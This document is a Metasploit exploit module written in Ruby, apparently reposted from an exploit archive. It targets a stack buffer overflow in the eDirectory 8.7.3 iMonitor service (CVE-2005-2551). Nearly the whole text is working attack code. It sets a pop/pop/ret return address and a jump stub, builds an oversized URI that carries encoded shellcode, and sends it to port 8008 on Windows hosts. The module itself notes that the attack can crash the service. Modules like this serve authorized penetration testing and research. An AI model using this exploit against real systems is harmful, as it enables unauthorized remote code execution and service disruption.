eDirectory 8.7.3 – iMonitor Remote Stack Buffer Overflow (Metasploit)
## # $Id: edirectory_imonitor.rb 9812 2010-07-13 22:11:40Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /DHost\//, /HttpStk\// ] } # custom port include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in eDirectory 8.7.3 iMonitor service. This vulnerability was discovered by Peter Winter-Smith of NGSSoftware. NOTE: repeated exploitation attempts may cause eDirectory to crash. It does not restart automatically in a default installation. }, 'Author' => [ 'anonymous', 'Matt Olney <scacynwrig@yahoo.com>' ], 'License' => BSD_LICENSE, 'Version' => '$Revision: 9812 $', 'References' => [ [ 'CVE', '2005-2551'], [ 'OSVDB', '18703'], [ 'BID', '14548'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 4150, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret ], 'DisclosureDate' => 'Aug 11 2005', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8008) ], self.class) end def exploit c = connect # pop/pop/ret in ndsimon.dlm on our jump to our shellcode uri = '/nds/' + payload.encoded + make_nops(2) + "\xeb\x04" + [target.ret].pack('V') uri << "\xe9\xbd\xef\xff\xff" uri << "B" * 0xD0 res = c.send_request(c.request_raw({ 'uri' => uri })) select(nil,nil,nil,4) handler disconnect end end |